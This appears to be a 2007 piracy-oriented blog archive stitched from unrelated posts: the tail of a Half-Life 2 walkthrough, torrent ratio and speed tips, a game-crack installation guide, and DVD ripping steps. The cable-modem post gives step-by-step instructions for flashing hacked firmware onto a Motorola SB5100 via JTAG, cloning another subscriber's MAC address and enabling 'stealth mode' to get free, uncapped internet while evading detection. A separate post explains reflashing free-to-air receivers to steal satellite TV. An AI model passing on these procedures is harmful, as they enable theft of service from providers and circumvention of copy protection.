to a structure with some men gathered. Get out and go to the meeting.

*NOTE: I think the only way to defend the buildings is to use the car and the
bomb slot at the back to quickly get to the Striders as they appear. But if you
just want to do this all on foot, you will probably fight most of the 
Striders near the gate to the base. It works that way, but if you want to 
drive around and get them quickly you can try. Make a save slot here if you
want to try for that achievement.*

Soon after a Strider will approach from the left side of the rail. It will
bring a Hunter with it, so focus on the Hunter first. When it is out, get a
bomb from the capsule and send it to the body of the Strider and shoot the
sticky bomb as you did in practice. If you let the fight go too long, the
Strider will make its way down the rail, so just use the bombs provided in
the building along the way. Stock up with supplies in this building.

Then go back to the saw mill where another Strider will come from the right.
Again, kill the Hunter and then take out the Strider.

*NOTE: Always bring a bomb with you, and drop it somewhere as you fight the
Hunters. After they are gone, you should have time to pick it back up to use
on the Strider. If you carry it with you the whole time and try to attack the
Strider's front, you'll lose that bomb.*

Then another will come from the far right side of the area, near the water
tower (if you look in the right direction you should hear the footsteps). It
will have two Hunters guarding it, so take them out and handle the big guy.

*NOTE: On one encounter I had used a bomb I had dropped in an area previously.
You can try laying out some bombs during the calms, especially in areas where
no pods are around.*

The next comes from the far left, and again with two Hunters.

The fifth one comes from the saw mill, which is probably not standing any more.
This one has three Hunters at its feet, and hopefully you have some energy
balls to help if you've visited a few of the buildings.

During that fight, another comes from the water tower area. Then the next comes
from the cranes (far left). I believe the one from the water tower didn't have
any Hunters, but maybe they were taken out. Either way, handle the one from
the water tower first, then take the one from the far left.

Then it's back to the water tower. This one comes in fast, so intercept it
along it's route, which should be near the double-house area around the middle
of the field. It will be ahead of its two Hunters, so take them on when they
arrive.

After that, it seems like all is over, but there will be Dropships bringing in
more. The first lands near the cranes, then the saw mill, and then the water
tower. This is the big one, they are coming from all sides. Go after them in
order. Go left and take on the Hunters escorting the crane Strider. You should
use the bombs around the center area to take this one out, then not far from
him should be the one from the saw mill. Handle both and during there will be
two more dropped in the same locations these two came from. But you need to
handle the one from the water tower.

By the time you even think about the one from the water tower, almost all of
the Striders will converge on the center area. Some will have Hunters, a few
won't. Just take out as many Hunters as you can, but you need to focus on the
big guys. Don't forget that you can stop by the buildings to pick up supplies,
but you probably won't have time for that. Just handle the last three Striders
and you're done. Mop up the surviving Hunters and that's it, base defended.

Return to the base, on foot if you wish, and go inside. You run into Alyx and
she brings you up to speed.

Chapter 7: T-Minus One


After the appreciation of Dr. M, Alyx takes you up to the control room for
the launch. Soon you get the honors of pushing the big red button, so do it.
Go outside when the doors open and have a little chat with Eli. Then go watch
the results of your efforts.

Enter the building and just sit back and listen the rest of the way. And when
you get to the last scene, don't forget to look around so you don't miss any
of the action.
End game.:D

Certified Global Icon

2007-11-21T03:45:00.000-08:00

Last week The Pirate Bay received a very prestigious award. The award has not been granted before to our knowledge so we’re extremely pleased about it.
We received the ‘Global Icon-status’ award, handed to us via the Swedish Ministry of Communication, but the originator where the award comes from is the organised global copylobby.

The award is signed by such famous people as John Kennedy (Chairman at IFPI.org), Alison Wenham (President of Worldwide Independent Network), Jonas Modig (President of Federation of European Publishers), Ana Maria Cabanellas (President of International Publishers Association), Kjell-Åke Hamrén (President of The International Confederation of Music Publishers), Helen Smith (Secretary General, Independent Music Companies Association) and Kim Magnusson (Chairman of European Film Companies Alliance).

As you can see they are all very mighty people and The Pirate Bay is truly happy about the award.

The motivation for the award seems to be the swift and decisive path TPB has taken since day one. To promote international cultural exchange, fight for freedom of communication and speech. They also seem very interested in the fact that the community has helped translate the site into 30 different languages, which TPB is really proud about as well. We promise that we will continue to translate the site to more languages to make it easier for everybody to use it!

There are sadly some misinformation in the award letter. They seem to think that TPB is actually illegal and are very concerned about this! But I can reassure you, the site is not illegal so there’s no reason to be alarmed.
It’s recognised worldwide as legal and helpful for the normal people around the globe that have something to share with each other. And we all do want to share!

Thank you very much for the award and hopefully we might be able to give an award back at the next Polar Pirate Prize award show in Stockholm! More information about PPP2008 will be revealed with in some weeks.

Other links about the award we received: Oscar Swartz

How to gain better ratios

2007-11-16T03:24:00.001-08:00

Don't Stop Your Seeds

One of the most confounding things I've come across as a mod are users who try to shift the blame to their ISPs when a quick check on their profile reveals that they are not seeding at all. Why did you stop your seeds?? You have downloaded 30gb worth of stuff, go seed some of them back for goodness sake.

There is no point in seeding 20 files at the same time
Hey look, you have a limited upload of 128kb/s (ie 128kb/s = 16kB/s). Seeding 20 file at the same time will really just backfire on you.

Firstly, Each TCP connection that you make will add additional overhead to your bandwidth, thus lowering the amount of actual data capacity. What this means is that each torrent will only be effectively seeding data at very low rates.

Secondly, bittorrent clients are designed such that when your peers see that you are sending data so slowly, chances are that client will snub you and prioritise incoming data from OTHER clients ahead of yours so you not only do not fully utilise your bandwidth for purely sending useful data, you are also rejected by your peers.

Limit your upload slots per torrent

In most clients, you can change the max number of upload slots per torrent. Limiting this to a reasonable amount such that each upload slot gets a reasonable amount of bandwidth will help your seeds. The same logic applies as above. Having too many connections or seeding too many torrents at 1 time will be detrimental.

Basically the rule of thumb is to not spread your upload bandwidth too thinly across too many connections. What you want to do instead is to fully utilise your UL pipe for sending pure data.

Strategize what you decide to seed

And in relation to the above 2 tips, now that you have decided to only seed a few files at a time. Which one do you actually seed? A good rule of thumb is to seed torrent with a low seeder to leecher ratio. If you use Azureus, it keeps track of this data for you even when your torrents are not seeding so just pick the best torrent to seed and stop the rest.

Another strategy is to frequent the request forum. If you pick upon a request, you not only get to be the first seed, you also get the eternal gratitude of the requestor.

Do you really have to download 50 torrents at the same time?
Look. It really makes no sense to be complaining that you can't help having such a bad ratio. Of course you can't help it. Medical science has no cure for lack of common sense. You should consider your ability to seed back before you download.

Cap/Limit your downloads speeds to match your upload speeds.

This advice should be golden to users with a heavily unbalanced DL/UL pipe. It is human nature to want to grab grab and grab some more as fast as we can. If you have wonderful DL/UL speeds and can make up the deficit within a few days, sure go ahead. If you have a measly 3mbps/16kbps bandwidth, you will rub your hands in glee downloading 30gb worth of Photoshop DVDs within 3 days but spend the next week frantically trying to make up the deficit on a horrible UL capacity only to realise it is impossible and then you experience ratio problems. Well instead of complaining that you have slow upload bandwidth, if you cap your download bandwidth to match your upload capacity, you will not have this problem.

I know some that this is a step many of us are reluctant to take but hey if you think about it, it's quite logical after all. A typical lynda.com title averages 18 hours of training time. If you limit yourself to 1 download at a time at capped speeds, by the time you finish watching your first lynda.com title and take a break the rest of the day, your next lynda.com title will be done and ready to be tackled. And this is ....uming that you watch all the training videos that you download back to back.

Think about it. How many of us have tons of material sitting in your HDD that remains unwatched or unused just cause you can't afford the time to go through it as yet. Why be in such a quick rush to grab all those GBs that just sit idle and take up space and give you a major ratio headache? Limit your downloads at a time and at CAPPED speeds.

Upload fresh new content

This has got to be the most obvious advice. Not only will you boost your ratio, but you will improve the choice of content for other members and get a warm fluffy feeling inside knowing that you have made people happy.

Frequent the request forum

If you pick upon a request, you not only get to be the first seed, you also get the eternal gratitude of the requestor. Filling requests really fosters the community atmosphere - please do it if you can.

Check your own torrents

By clicking on your username or "my torrents" to see if a leechers are waiting for a seeder or a torrent you have needs more seeders. If the seeder:leecher ratio is low - help!

Check your torrent history

This wonderful feature lets you review all other torrents you have uploaded or downloaded that are still on the tracker. Please check this regularly. It will often be the case that a swarm you stopped seeding to few weeks ago really needs your help!

*** *** *** *** *** ***
Total Share Ratio vs Ratio Per Torrent?

Some users are attempting to get each torrent they seed to a 1:1 ratio for fear their *Overall Share Ratio* will drop if they do not do this.

Users need to be more concerned about their Overall Share Ratio instead of single torrent ratios. Some users are sacrificing great opportunities to seed and increase their share ratio by dividing their bandwidth with torrents that have plenty of seeders.

Lets say you're seeding a 2GB file or a 150 Meg file with 50 leechers and no one has completed leeching to help seed. And that you are seeding three torrents that each *already* have 10 - 50 or more seeders.

There is no reason to keep seeding the three torrents that already have 10+ seeders. The only thing this does is prevent you from seeding at your optimum rate which prevents you from obtaining the best user Share Ratio you can get because they slow down your total upload rate.

In this case, the additional open torrents also slow down those 60 leechers of the brand new 2GB file or 150 Meg file which only you are seeding and no one else is.

I'm not saying it's not important to seed each torrent to a 1:1 ratio. It's simply better to stop the other three torrents with 10+ seeders to allow maximum bandwidth for your 2GB file or 150 Meg file until you have seeded long enough to have (ideally) nine other helpers.

You can resume seeding the other three torrents to a 1:1 ratio hours or days later when there are less seeders, when newcomer leechers are needing the file and because it is better for your own bandwidth and Overall Share Ratio in the end.

How to Install a Crack

2007-11-16T03:21:00.000-08:00

This is a tutorial to fix the error message: "Please Insert Disk 1" or 'Please Insert the Correct Disk'

What you need to do is install the crack.
There should be one that comes with the torrent. It will either be in the torrent in a folder Called Crack or it will be in the .iso.

If one did not come with the torrent you should be able to find one Here

So first step is to get the crack. If it's in a folder or you downloaded it from the above link you can skip this step.

1. Getting the Crack from the .iso
Mount the Image
Now Go to My Computer Right Click the Drive and Select Explore

Now There Should be a Folder Called Crack or the Name of the Release Group
In the case of this example it's the name of the release group- Fairlight.

Now Go to The folder with the Crack(s) in them.

Now leave that Window Open.

2. Cracking the Original Executables
Now you need to go to the installation directory of the game you are trying to crack.
It should be something like: C:\Program Files\Developer
In my case it will be D:\Program Files\Flagship Studios\Hellgate London

You can move the folder that has the cracks in it from the image to that directory.

Windows Will Ask if You Want to Replace the Folder

Click Yes.
You're finished. The game should now work without a disk. You can do the same thing without the folder and just the executables.

how to improve torrent speeds

2007-11-02T03:38:00.000-07:00

This guide relies on the use of Azureus or uTorrent as they are highly recommended. Azureus requires Java. If after installation the application will not load, it is because you do not have Java. You are not the first to think you have Java when you do not! More information is available on the Azureus site.

If you are not currently using uTorrent or Azureus, before starting this guide:
Beginners: Please change to either uTorrent or Azureus now.
Intermediate: It is recommended that you change client now. If you choose not to, remember to come back to this section if you get stuck during the guide.
Advanced: You will likely be able to find the equivalent options in your current client, assuming your client has all the necessary options.

Other BitTorrent clients are available to switch to after working through this guide.

This guide has been updated for Azureus 2.5.0.0 and uTorrent 1.6. Different versions may vary.

Contents:

1.0 Why are my downloads going slow?
- 1.1 Reason 1: Your ISP is limiting your download speed
- 1.3 Reason 2: You have a “NAT Error”
--> 1.3.1 How do I know if I have this problem?
2.0 Fixing a NAT error
- 2.1 Switch off UPnP
- 2.2 Configure Your XP Firewall (ICF: Internet Connection Firewall)
--> 2.2.1 Configure ICF in SP1
--> 2.2.2 Configure ICF in SP2
- 2.3 Configure Your Router
- 2.4 Configure Microsoft Internet Connection Sharing (ICS)
- 2.5 Configure Your Firewall
3.0 Multiple BitTorrent users on a LAN

1.0 Why are my downloads going slow?

1.1 Reason 1: Your ISP is limiting your download speed

Some ISPs are limiting download speeds by controlling the bandwidth allocated to traffic using the default BitTorrent ports, which are 6881 to 6999.

This is not just a problem for those who have nasty ISPs, it affects everybody. To avoid ISPs from damaging the efficiency of a torrent with their controls, some stringent tracker owners are blocking users trying to connect on the standard ports.

So whether your ISP is limiting you or not, all BitTorrent users should stop using the default ports.

For simplicity, this guide recommends the use of port 16881. Adding a 1 to the start is simple administratively, and is in a range unlikely to be used by other programs.

You then need to set up your client to use the new port.

AZUREUS
Tools -> Options -> Connection
-> Add a “1” before the current listen port number. For example, 6881 will now be 16881.

uTorrent
Options -> Preferences -> Connection
-> Type 16881 for the port number for incoming connections. Untick the box for Randomize Port.

Whatever client you use, make sure you update anywhere else you have entered the port numbers to account for the change.

By completing this section, you have helped to avoid problems later down the line, but this will not solve the majority of slow downloads. Therefore, move on to reason 2.

1.2 Reason 2: You have a “NAT Error”

BitTorrent works on a credit system. By uploading parts of a file to other people, they allow you to download parts of the file from them. This is BitTorrents anti-leech measure. However, if you have a problem with your NAT (anything between you and the internet, such as a router or firewall), you will not get credit for what you are uploading. The only downloading that you can do is from people who upload a small amount to you in the hope that you will return the favour. Since their client will not recognise your response if you have a NAT problem, then they will stop uploading to you shortly after. This is what is causing your problem. You may also notice that torrent speeds go very high for 5 minutes, before slowing back down to 0-5kb/s.

1.2.1 How do I know if I have this problem?

You might not have a problem at all. Before continuing with this guide, leave your torrent running for at least ten minutes. If the speed hasn't picked up, stop and restart the torrent. If that fails, try at least two other torrents. If you are still having problems, continue on...

Start to download a file using your chosen client.

AZUREUS
Wait a while for the torrent to get started; this may take up to five minutes.
Look in the “Health” column. If it is showing a yellow spot, then you need to configure your firewall/NAT/router. If it is Green then all is OK. Your slow downloads are being caused by something else.
A full list of the different colours can be seen [http://azureus.sourceforge.net/faq.php#21]here[/url].

Azureus can also check your configuration for you.
Select “Tools” -> “NAT / Firewall Test”
The default TCP listen port is 6881. If you have changed the listening port, enter the new port in the “Incoming TCP Listening Port.”
Press “Test”
If the result is “NAT Error,” please continue with the guide.
If the result is “OK”, then your slow speeds are being caused by something else.

PLEASE NOTE: The Azureus checker can report a false NAT error if you are running PeerGuardian or Protowall. Make sure these are disabled before using the Azureus wizard.

uTORRENT
Wait a while for the torrent to get started; this may take up to five minutes.
On the status bar, look for either a yellow warning triangle, or a green dot. If there is a yellow warning triangle, then you need to configure your firewall/NAT/router. If it is green then all is OK and your slow downloads are being caused by something else.

uTorrent can also check your configuration for you.
Select “Options” -> “Speed Guide…”
Check the current port is set to the port used in the first section, i.e. 16881.
Click “Test if port is forwarded properly”.
If you get an error, then continue to follow this guide. If the port is correct set up, then skip to the section 4.0 – “Other things that could be wrong”.

2.0 It’s showing yellow / warning triangle, I have a NAT error – what do I do?

You need to configure your computer and/or network to accept incoming BitTorrent port connections. The tracker port is 6969. If this port is not correctly configured, downloads will not start at all. The download/upload ports used in this guide are 16881-16889. It is these ports that are causing your problems.

2.1 Disable UPnP

Universal Plug and Play (UPnP), it is a feature that works with some compatible routers to open the required ports automatically. However, some routers, even if they are compatible with UPnP, have problems with this.

AZUREUS
Tools -> Options
Expand "Plugins" on the left hand tree.
Select "UPnP"
Deselect "Enable UPnP"

uTORRENT
Options -> Preferences -> Connection
Deselect “Enable UPnP port mapping”.

2.2 Configure Your XP Firewall (ICF: Internet Connection Firewall)

Please go to the appropriate sub-section.
- “Configure ICF in SP1” if you have NOT installed Service Pack 2
- “Configure ICF in SP2” if you have installed Service Pack 2

2.2.1 Configure ICF in SP1

Open up your “Network Connections”. Right click on your internet connection or LAN connection and select “Properties”.
->Select the “Advance” tab
->If the “Internet Connection Firewall” is not ticked, then this is not your problem. Research into whether you need the XP firewall or not and jump to "Configure Your Router" below. If it is ticked, please continue:
->Click “Settings…”
->On the “Services” tab press “Add…”
->Description of service = BitTorrent
Name or IP address of the computer hosting this service on your network = 127.0.0.1 (this means "the local machine.")
External Port number for this service = 16881
Internal Port number for this service = 16881
TCP/UDP = TCP
-> Press OK.

-> With uTorrent, make sure Options -> Preferences -> Connection -> "Port used for incoming connections” is equal to 16881.

-> With AZUREUS, make sure that "Tools -> Options -> Connection -> Incoming TCP Listen Port" is equal to 16881.

Check if the torrent/health has gone green. If not, move on to section 2.2.

2.2.2 Configure ICF in SP2

-> Open your Windows Control Panel and select “Security Centre.”
-> Scroll down to the “Manage security settings for:” section and select “Firewall”
-> Decide whether you want to keep the firewall on or off. Make an informed decision based on more than the information provided by Microsoft. If you decide to switch it off, then do so and move onto section 2.2. Otherwise, continue this section.
-> Select the “Exceptions” tab.
-> Select “Add Port…”
-> Name: = BitTorrent (or anything of your choice)
-> Port number: = 16881
-> TCP/UDP = TCP
-> Press OK.

-> With uTorrent, make sure Options -> Preferences -> Connection -> "Port used for incoming connections” is equal to 16881.

-> With AZUREUS, make sure that "Tools -> Options -> Connection -> Incoming TCP Listen Port" is equal to 16881.

Restart the client and wait five minutes. Check if the health has gone green or that the warning triangle has vanished. If not, move on to section 2.3.

2.3 Configure Your Router

If you are on a LAN with a router or hardware firewall, you may need to configure it. You need to forward BitTorrent’s connection ports to your specific PC on the LAN.
If your connection is shared using Microsoft Internet Connection Sharing (ICS), go to section 2.3.
There are too many routers to cover in this guide, so it is time to head to Google. Search for port forwarding, BitTorrent and the name of your router. Lots of manufacturers provide specific information on their sites. A generic guide to port forwarding for most routers can be found at PortForward.com.

-> With uTorrent, make sure Options -> Preferences -> Connection -> "Port used for incoming connections” is equal to 16881.

2.4 Configure Microsoft Internet Connection Sharing (ICS)

If you are sharing an internet connection using ICS, then you will need to forward the BitTorrent ports.

Windows 2000 users, click here for information on forwarding (mapping) ports.

Other users:
Shock Systems used to provide a useful tool called “ICS Configuration” for changing the settings of ICS to allow full BitTorrent access to a second computer. You can download a copy here thanks to Zeropaid member cpugenuismv.

-> Install the program on the serving computer and run it
-> Click “+ Add”
-> Name = [whatever you want, e.g. BitTorrent]
-> Target = Local IP of machine running BitTorrent, e.g. 192.168.0.2
-> Description = [whatever you want, e.g. “allow BitTorrent for 192.168.0.2”]
-> On the “Ports” tab, slect “+ Add”
-> Select “Port Range” from the drop-down box
-> Enter “16881” and “16889” into the relative boxes
-> TCP/UDP = TCP
-> Data translation = NORMAL
-> Press “OK”, Press “Enable”, Press “OK”.
-> Close everything and reboot the PC.

The settings will be saved in your registry. There is no need to open ICS Configuration with ICS.

-> With uTorrent, make sure Options -> Preferences -> Connection -> "Port used for incoming connections” is equal to 16881.

With AZUREUS, forward port 16881. Make sure this matches "Tools -> Options -> Connection -> Incoming TCP Listen Port"

Restart the client and wait five minutes. Check if the health has gone green or that the warning triangle has vanished. If not, move on to section 2.5.

2.5 Configure Your Firewall

As with routers, there are too many to cover here, so time to head to Google. Unlike with other sections to this guide, ports only have to be opened, rather than forwarded.

With both AZUREUS and uTorrent, open port 16881.

3.0 Multiple BitTorrent users on a LAN

The same port can not be forwarded to different computers, so decide who gets which ports, for example:
192.168.0.2 = 16881
192.168.0.3 = 16882 etc.

Set up your router or ICS to forward the ports to the chosen computers.

Now you need to set up the BitTorrent Clients:

AZUREUS
Each computer only needs one port forwarded to it.
-> Tools -> Options
-> "Connection" on the side menu
-> On “Incoming TCP Listen Port” enter the port number that is being forwarded to that computer. Taking from the above example, computer 192.168.0.3 would enter 16884.
-> Repeat for all the users

uTORRENT
Options -> Preferences -> Connection -> is equal to 16881.
-> Set "Port used for incoming connections” to the port number that is being forwarded to that computer. Taking from the above example, computer 192.168.0.3 would enter 16884.
-> Press “OK”
-> Repeat for all users.

cable modems

2007-11-02T03:35:00.003-07:00

Cable Modem hacking is a medium-difficulty task. In this tutorial I will show you how to hack a cable modem, get free internet, and free Cable TV (if you need it). Please note that all of this is VERY illegal. Theft of service is a felony.

Cable TV Network Design

This picture appears to be a little dated

Local office - has the uplink; connected to the nodes
Local node - a router connected to the community hubs; you have to use a MAC address from another node or you won't be able to get online
Community hub - These are the little green boxes that serve your house; these are connected to bigger and bigger hubs until it's connected to the node.Each node serves several hundred people. When you go on the network, you get automatically assigned an IP address. It checks your MAC, and if it's not registered it tells your computer to use a private DNS server that gives you a "Buy our service" page when you try to go anywhere. But you can just use a different DNS server. If it is registered, you can get access immediately (you borrow someone's MAC from another node); alternatively, you can set your modem to force network access.

This is an estimate of the cable TV network. This is backed by the fact that users have been using uncapped, unregistered modems for years and have not been caught. Cable companies can pinpoint your location down to the neighborhood level. Anyone who says otherwise is ill-informed.

Resources
TheoryShare
TCNiSO

Hardware Required
To successfully obtain free, uncapped internet, you need to have a modem which has been hacked:
Motorola SB3100
Motorola SB4100
Motorola SB4200
Motorola SB5100
AMBIT 120
AMBIT 200
AMBIT 250
RCA 245
WebSTAR DPC2100

However, for tutorials on most these you will need to look elsewhere. This tutorial will focus on the SB5100, as it is the easiest to modify (although the SB4100 and SB4200 may also be modified by this method).

You can pick up these modems on eBay. Alternatively, you can buy a pre-modified modem at TCNiSO or Theoryshare. I recommend TCNiSO, as Theoryshare uses illegal copies of the BlackCat software that TCNiSO made.

You will also need a JTAG cable, which you can make yourself (you'll need a 10-pin header, and a ribbon cable that will connect to it, as well as a parallel port plug you can solder the ribbon cable to, as well as a solder iron) or you can buy it from TCNiSO or Theoryshare (again, TCNiSO is recommended). Besides being official, it's better made. The TCNiSO cable will include an OFFICIAL license for the BlackCat software.

Software
You'll need BlackCat from TCNiSO.
http://www.megaupload.com/?d=R5U6YG8I

Guide

Step 1: Solder the header

Kind of blurry, but easy to follow. Grab your 10-pin header (get from radioshack or desolder from an old electronics board). It'll have a black plastic piece with 10 pins sticking out of it. One side will have more pin sticking out than the other; looking from the top of the cable modem, place the short end through the holes. Use some electrical tape and tape it tightly to the board. Torn it over, and solder the pins to the board. Make sure that the solder doesn't touch any other electronics or pins. Make sure that you don't heat any pin long enough to melt the plastic shroud; this will set you back a bit, as you will have to melt the shroud and push the pin back in place.

Take note of the pin hole that has the square.

Step 2: Making the Cable

Very simple image, easy to follow. You'll need a DB-25 connector, with access to the pins on the back (so you can't just rip apart a printer cable; go buy a proper one at Radioshack). Picture has a bunch of circles and one square. See this to find out what it will look like on your board. Please note that this is a view of the FRONT of the connector (so everything is flipped around when you solder to the back).

I would recommend getting as long a ribbon cable as possible.

Step 3: Install Blackcat Software
I don't think I need any pictures or special instructions. There's a download link above. Install it.

Step 4: Connect cable to modem
Make sure you connect the cable the right way. Also make sure you connect the power cord to the modem and wall.

Step 5: Connect cable to PC
Plug the cable into the parallel port. Recommend setting it to ECP+EPP in your BIOS.

Step 6: Start Blackcat software

When you start BlackCat, if everything is working properly and you didn't screw up the cable, your screen should look something like this. It's very important that it reports the manufacturer and part, and that it connected to the flash. If not, nothing will work.

Step 7: Detect flash
) Click on the 'Flash' tab, click 'Detect'. Check confirmation that the flash is detected.

"Detected a MXIC MX29LV160AB flash ic"

Step 8: Backup your entire flash
On the flash tab, click Read All and save the file somewhere. THIS IS A COMPLETE BACKUP OF YOUR MODEM. If anything goes wrong, you'll need this to restore it. It will take about 10 minutes. Make sure the box on the right (under Size) says 0x00.

Step 9: Bootloader
Go to the SB5100 tab. Under "Install new bootloader", click the folder and open up "SIGMAX-BL_v2.6-LITE.bin" (look in the software download link above). Then click flash. (if you get a Device not connected error, restart. If you still get it, you messed the cable up, or your parallel port isn't configured properly)

Step 10: Firmware
On the SB5100 tab, click "Check" at the bottom. Then click Program. It should ask you to find a file. Download this file: http://rapidshare.com/files/30844399...build.13.5.zip unzip it and use the .bin inside there (it's the bin other than the bootloader).

Step 11: Reboot Modem
Disconnect the cable from the modem. Remove the power cord. Connect your computer to the modem with an ethernet cable. Plug the power back in.

Step 12: Online configuration
Set your IP address to 192.168.100.2 (gateway 192.168.100.1, mask 255.255.255.0).
Enter "http://192.168.100.1:1337" into your browser. If you see a Sigma page, you did good. Change the last few digits of the MAC and Serial (keep the serial numbers only, and keep the MAC 0-9/A-F) so you don't get caught. Turn on baseline privacy and stealth mode, and forced network access. Turn off all the others.

You also need to change the conig file. Check the forums at theoryshare.com or tcniso.net to see what config file you'll need to change it to.

Step 13: Change IP
Change your IP to automatic. It should pull a new IP from the modem, and you should now have internet access.

Additional Help
Inside of the software package listed above, you will find additional guides and images to help you in your quest.

Optimize Your BitTorrent Download Speed

2007-11-02T03:30:00.000-07:00

1. Hack the max half-open TCP connections

If you’re on XP sp2, your TCP connections are limited to a maximum of 10. This might hurt your downloading speed because it wont let you connect to as much peers as you want. It is supposed to slow down viruses because their spreading strategy is to connect to a high amount of ip numbers, but it could cripple your torrent downloads.

A nice way to fix this is to download this patch.

Note: Some people report that their antivir reports the patch to be a Virus, This is not the case. Check out http://www.lvllord.de/ for more details on this

The patch allows you to set the maximum allowed connections to any number you want. Any number between 50 and 100 is ok (more is NOT always better).

Next you need to configure your torrent client to allow 50-100 max half-open TCP connections

uTorrent: Options > Preferences > Advanced options > net.max_halfopen

Bitcomet: Options > Preferences > Connection > max half-open TCP

Now you’re ready to go…

A third point of interest is that some “windows updates” revert your tweaked tcp connections back to 10. So it’s wise to check this every now and then. You can check this by going to (in windows xp) Start > Control Panel > Administrative Tools > Event Viewer > System… Look for event 4226 (sort by event).

For more details about Windows XP SP2 and Event ID 4226 read David Kaspar’s excellent post

If there are a lot of daily occurences it’s likely that the max amount of half-open tcp connections was set back to 10. Or you’re infected with some nasty spyware…

2. Torrent Client Configuration

In order to apply these tips you need to know your maximum up- and download speed. You can test your bandwidth over here (stop all download activity while testing). Also make sure that you applied the tips provided in our previous posts.

Note that there’s a difference between kb/s (kilobits/second) and kB/s (kilobytes/second). To be precise, kB/s = kb/s divided by 8. In this tutorial we use kB/s (like most torrent clients do). This means that you might need to calculate your max speed in kB/s yourself if the speedtest only gives you the results in kb\s (so divide by 8 then).

Settings 1-4 can be found in the options, settings or preference tab of most torrent clients.

1. Maximum upload speed

Probably the most important setting there is. Your connection is (sort of) like a pipeline, if you use you maximum upload speed there’s not enough space left for the files you are downloading. So you have to cap your upload speed.

Use the following formula to determine your optimal upload speed…

80% of your maximum upload speed

so if your maximum upload speed is 40 kB/s, the optimal upload rate is 32kB/s

But keep seeding!

2. Maximum download speed

Although setting your maximum download speed to unlimited may sound interesting, in reality it will only hurt your connection. If you still want to be able to browse properly, set your maximum download speed to:

95% of your maximum download speed

so if your maximum download speed is 400 kB/s, the optimal download speed is 380kB/s

3. Maximum connected peers per torrent

Yet another setting that you don’t want to max out. I experimented quite a lot with the max connected peers settings and came to the conclusion that both high and low number hurt the download speed of a torrent. The following setting worked best for me.

upload speed * 1.3

so if your maximum upload speed is 40 kB/s, the optimal amount of connected peers per torrent is

40 * 1.3 = 52

I didn’t noticed a difference for fast or slow connections here.

4. Maximum upload slots

1 + (upload speed / 6)

so if your maximum upload speed is 30 kB/s, the optimal number of upload slots is

1 + (30 / 6) = 6

***********************************************************************************

3. More Tips

Check seeds and peers
A simple tip, but very important. Always look for torrents with the best seed/peer ratio. The more seeds (compared to peers) the better (in general). So 50 seeds and 50 peers is better than 500 seeds and 1000 peers. So, be selective.

Change the default port.
By default, BitTorrent uses a port 6881-6999. BitTorrent generates a lot traffic (1/3), so isp’s like to limit the connection offered on the these ports. So, you should change these to another range. Good clients allow you to do this, just choose anything you like. If you’re behind a router, make sure you have your ports forwarded (portforward.com) or UPnP enabled.

Disable Windows Firewall
It sucks. Windows Firewall hates P2P and often leads a life of it’s own. So disable it and get yourself a decent (free) firewall, Kerio or Zone Alarm for example.

Turn on Encryption
Encrypting your torrents will prevent throttling ISP’s from limiting your BitTorrent traffic. Check out how to enable encryption in Azureus, uTorrent, and Bitcomet, the three most popular torrent clients.

Optimize your internet connection
The TCP optimizer is a freeware utility that optimizes your internet connection. I found it very useful and it helped speeding up my connection for regular internet activity and for downloading torrents. Just download it, and move the slidebar to your maximum download rate (note that it’s in kb/s). Don’t try to set it higher because that will hurt your download speeds!

Last but not least… Buy a faster connection…

steal satellite T.V.

2007-10-29T01:11:00.000-07:00

NOTE: for beater instructions go to www.totalfta.com

Files you will need : http://rapidshare.com/files/61695753..._shit.rar.html
Password : eskick.com

A lot of people have been asking for this so here...

what your doing is getting a receiver to legally watch free channels and then hack the firmware

1. Get an FTA (free to air receiver)

PIC

2. Get a com1 cable

3. download thee stuff (at top of post)

4. connect the receiver with your com1 cable and open "UpgradeV1.06"

PIC

5. select "CX-LoaderV2.50" as file and download to the receiver

6. Download "CW600SV1.39_ARFix" to the receiver

7. plug in the receiver to your satellite dish

8. move the satellite dish so you have satellites 110WEST and 119W

9.(cativeworks only)press f1 then 0 then 0 then 0 till it says "patch enabled

10.in options do a channel search

10. leave on one channel for 20 minutes

11.ENJOY

ripping a dvd --> 700 MB

2007-10-29T01:09:00.000-07:00

What You Need:

DVD Shrink: http://filehippo.com/download_dvdshrink/
You can get it at many other sites, just google "DVD Shrink" if you don't like my link.

AutoGK: http://www.autogk.me.uk/index.php?na.etails&lid=1

A DVD

Recommended 15GB of hard drive space

The Tutorial

I decided to only link to the pictures instead of show them because of size constraints, hope no one minds

Step 1: DVD Shrink

Alright so first things first; put your DVD in the computer and stop any autoloading programs or tasks. Load up DVD Shrink and click on "Re-author" at the top:

DVD ]Shrink Image 1
The reason we are using Re-author instead of Full Disc is because Full Disc will backup your entire DVD; film, menus, special features included. We only want the movie.

So, you should see your DVD drive listed on the right hand side under "Devices with Removable Storage". Double click it and you'll be faced with a list of items.

At the top are the menus, followed by the film (which is usually one file and close to 2 hours in duration). Then you have all the special features. Since we only want the movie itself, double click the main movie item (probably named "Title 1").

Your going to see a second window which is analyzing the film:
DVD ]Shrink Image 2

After it analyzes your going to see another list with check boxes. Uncheck whatever you don't want (in most cases you'll only want 1 audio and no subtitles so uncheck all but the English):

DVD ]Shrink Image 3
You'll also see compression settings. Since we are going to be encoding to avi which compresses the video I suggest setting it to uncompressed (unless you don't have the disk space).

Once that's all done you can hit the "Backup!" button at the top. If you left it uncompressed you'll get a message warning you that it's too large for a DVD:

DVD ]Shrink Image 4

You're going to be faced with a window asking you where you want to put your files:

DVD ]Shrink Image 5

You can browse to wherever you want to put the files (and you can see i'm ripping Snatch :O ). Whether you create the Audio and Video TS folders is up to you since it doesn't really affect the outcome or the rest of the steps.

Click Okay and your rip will start:

] Shrink Image 6

It took my computer about 20 minutes to rip Snatch. Most movies won't take longer than 30 minutes:

DVD
Shrink Image 7

Once it's done click ok and you can close DVD Shrink.

Step 2: AutoGK

Next we're going to open up AutoGK to encode our DVD files to an avi:

Image 1

In the Input field browse to the directory that you saved the DVD rip to (and if you created a Video_TS folder, go into there). You'll see a bunch of files but we only need the first video file (usually VTS_01_1):
img=http://img515.imageshack.us/img515/6350/97734348km6.jpg
AutoGK Image 2

Once you've opened that file in AutoGK move to the Output field and specify where you want the avi to be created. Here's that main picture again to help:

AutoGK Image 1
You should only have 1 audio track selected and no subtitles in step 2 (if you have more, unselect all but 1).

In step 3 you define the file size. For most movies I would suggest 700mb, especially if your going to make it a torrent. If you have longer movies or movies you want higher quality video you can go to 1400mb.

Next click on advanced options. If you chose to go with a 700mb file select the mp3 audio (the less space it takes the more you have for video quality). If you chose the 1400mb file stick with the original AC3 audio.

image 3

